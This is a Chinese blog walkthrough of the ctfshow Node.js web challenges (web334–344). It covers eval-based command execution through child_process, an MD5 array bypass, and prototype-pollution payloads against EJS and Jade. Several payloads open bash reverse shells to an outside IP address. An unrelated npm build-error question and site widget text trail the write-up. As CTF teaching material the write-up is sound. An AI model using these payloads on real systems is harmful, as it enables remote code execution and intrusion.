ctfshow-web入门-node.js

一系列关于Web安全的挑战,涉及JavaScript代码执行、原型链污染、模板引擎漏洞利用等。通过修改请求参数,利用Node.js环境执行命令,获取隐藏的flag。挑战包括对源码的深入理解、payload构造及不同模板引擎的RCE攻击方式。
摘要由CSDN通过智能技术生成

web334

先下载附件,在user.js中发现了账号密码

开环境,直接输入账号密码是错的,具体原因在login.js

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

可以得知,我们输入的name中字母全部大写后要等于CTFSHOW,并且name的值不是CTFSHOW,测试后发现name=ctfshowpassword=123456

得到flag    ctfshow{d262e684-d8e3-491d-a140-9be7eefc65b1}

web335

查看源码,发现有一个提示<!-- /?eval= -->

 先随便传一个数字进去,发现它回显了出来,但是输入字母的时候,就显示404 找不到文件,说明这里应该执行了我们输入的内容,这里的代码可能是eval('console.log(xxx)')

然后执行命令:

?eval=require( 'child_process' ).execSync( 'ls' )
?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()

?eval=require( 'child_process' ).execSync( 'cat fl00g.txt' )
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl00g.txt' ] ).stdout.toString()

得到flag

 ctfshow{0096215c-9429-4a58-ae31-8187b9835f52}

web336

和上题相比,有过滤,exec被过滤了,那就用第二个姿势

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()

得到flag

 ctfshow{146a221c-cf6d-476d-9f55-0125caf72c97}

web337

这题给了源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

简单分析,需要传入a和b,它们值互不相同,但是长度相同,并且md5(a+flag)===md5(b+flag)

前面都还,重点是最后一个,正常手段肯定是不行,那试一下数组
payload:

这里只需要满足中括号里面是字母就行,关于它们的值相不相同,长度一不一样都不重要
?a[a]=2&b[b]=2

至于为什么中括号里是数字就不行,这里参考羽师傅给出的解释

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同

但是如果传a[0]=1&b[0]=2,相当于创了个变量a=[1] b=[2],再像上面那样打印的时候,会打印出1flag{xxx}和2flag{xxx}

web338

原型链污染漏洞,参考链接https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
重点在这个地方

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});

需要满足secert.ctfshow==='36dboy',利用点在utils.copy(user,req.body);,这里的copy类似上面那篇博客中的merge,照着里面的步骤来

抓包,改参数{"username":"admin","password":"123456",
"__proto__":{"ctfshow":"36dboy"}}
即可得到flag

ctfshow{dc60e0ca-9ba7-4e5a-9fa4-871e021b51ae} 

web339

在api.js中

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});

Function(query)(query)可以执行query对应的指令,我们可以使用变量覆盖,将query的值作为反弹shell的点。

  • 预期解

先抓包访问/login,实现query值的覆盖,再访问/api来执行query的值。

一开始用id命令试了下,query值被覆盖为了id。之后想批量删除属性值但是自己太菜,没成功:

{"__proto__":{"query":"\u000areturn e => { for (var a in {}) { delete Object.prototype[a]; } return global.process.mainModule.constructor._load('child_process').execSync('id')}\u000a//"}}

用反弹shell的值覆盖:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}

反弹成功: 

flag在./routes/login.js里:

  • 非预期解

直接拿了羽师傅wp上的payload: 

{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"');var _llama2"}}

ejs rce可以参考:链接

web340

login.js部分代码:

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }

这里user对象套了两层,我们可以运行如下代码理解一下原理:

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
}

var user = new function(){
    this.userinfo = new function(){
        this.isVIP = false;
        this.isAdmin = false;
        this.isAuthor = false;
    };
}

payload = JSON.parse('{"__proto__":{"__proto__":{"query":true}}}')
copy(user.userinfo,payload)

console.log('payload:')
console.log(payload) // { ['__proto__']: { ['__proto__']: { query: true } } }

console.log('Object:')
console.log(user.query) // true
console.log(user.userinfo.query) // true

可以看到,当我们嵌套两层__proto__时,不管是user对象还是user.userinfo对象都存在query属性,并成功被赋值。而如果我们将payload改为:

payload = JSON.parse('{"__proto__":{"query":true}}')

时,再运行代码会发现user.userinfo.query属性存在,但user.query为undefined。

payload:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}}

弹shell即可。

web341

用的是web339的ejs rce,不过要和web340一样嵌套一下。payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"');var _llama2"}}}

访问任意页面即可。

几个node模板引擎的原型链污染分析

web342

这次模板引擎改为了jade。

我们使用jade rce链构造payload:

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"')"}}}

在用burp发送之前要把请求头中的“Content-Type”改为"application/json"。

web343

同web342

web344

源码:

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

过滤了逗号和逗号的url编码2C,我们用“&”连接三个属性,NodeJS会自动拼接:

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

不过还需要对属性进行url编码,payload:

?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d

因为在get之前双引号会被url编码为%22,与“ctfshow”组成“2c”,符合正则。

ctfshow{6a589c2d-4ff3-4322-af3c-6dfe916ca788} 

ERROR Failed to compile with 48 errors 上午10:53:54 These dependencies were not found: * core-js/modules/es.array.push.js in ./node_modules/.store/@babel+runtime@7.22.6/node_modules/@babel/runtime/helpers/esm/objectSpread2.js, ./node_modules/.store/cache-loader@4.1.0/node_modules/cache-loader/dist/cjs.js??ref--12-0!./node_modules/.store/babel-loader@8.3.0/node_modules/babel-loader/lib!./node_modules/.store/cache-loader@4.1.0/node_modules/cache-loader/dist/cjs.js??ref--0-0!./node_modules/.store/vue-loader@15.10.1/node_modules/vue-loader/lib??vue-loader-options!./src/components/HeaderSearch/index.vue?vue&type=script&lang=js& and 29 others * core-js/modules/es.error.cause.js in ./node_modules/.store/@babel+runtime@7.22.6/node_modules/@babel/runtime/helpers/esm/regeneratorRuntime.js, ./node_modules/.store/cache-loader@4.1.0/node_modules/cache-loader/dist/cjs.js??ref--12-0!./node_modules/.store/babel-loader@8.3.0/node_modules/babel-loader/lib!./node_modules/.store/cache-loader@4.1.0/node_modules/cache-loader/dist/cjs.js??ref--0-0!./node_modules/.store/vue-loader@15.10.1/node_modules/vue-loader/lib??vue-loader-options!./src/layout/components/Navbar.vue?vue&type=script&lang=js& and 5 others * core-js/modules/es.object.proto.js in ./node_modules/.store/@babel+runtime@7.22.6/node_modules/@babel/runtime/helpers/esm/regeneratorRuntime.js * core-js/modules/es.regexp.dot-all.js in ./node_modules/.store/cache-loader@4.1.0/node_modules/cache-loader/dist/cjs.js??ref--12-0!./node_modules/.store/babel-loader@8.3.0/node_modules/babel-loader/lib!./node_modules/.store/cache-loader@4.1.0/node_modules/cache-loader/dist/cjs.js??ref--0-0!./node_modules/.store/vue-loader@15.10.1/node_modules/vue-loader/lib??vue-loader-options!./src/components/ThemePicker/index.vue?vue&type=script&lang=js&, ./node_modules/.store/cache-loader@4.1.0/node_modules/cache-loader/dist/cjs.js??ref--12-0!./node_modules/.store/babel-loader@8.3.0/node_modules/babel-loader/lib!./node_modules/.store/cache-loader@4.1.0/node_modules/cache-loader/dist/cjs.js??ref--0-0!./node_modules/.store/vue-loader@15.10.1/node_modules/vue-loader/lib??vue-loader-options!./src/layout/components/Navbar.vue?vue&type=script&lang=js& and 2 others * core-js/modules/web.url-search-params.delete.js in ./src/utils/request.js * core-js/modules/web.url-search-params.has.js in ./src/utils/request.js * core-js/modules/web.url-search-params.size.js in ./src/utils/request.js * qs in ./src/utils/request.js * svg-baker-runtime/browser-symbol in ./src/icons/svg/user.svg To install them, you can run: npm install --save core-js/modules/es.array.push.js core-js/modules/es.error.cause.js core-js/modules/es.object.proto.js core-js/modules/es.regexp.dot-all.js core-js/modules/web.url-search-params.delete.js core-js/modules/web.url-search-params.has.js core-js/modules/web.url-search-params.size.js qs svg-baker-runtime/browser-symbol怎么解决如何安装
07-21
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值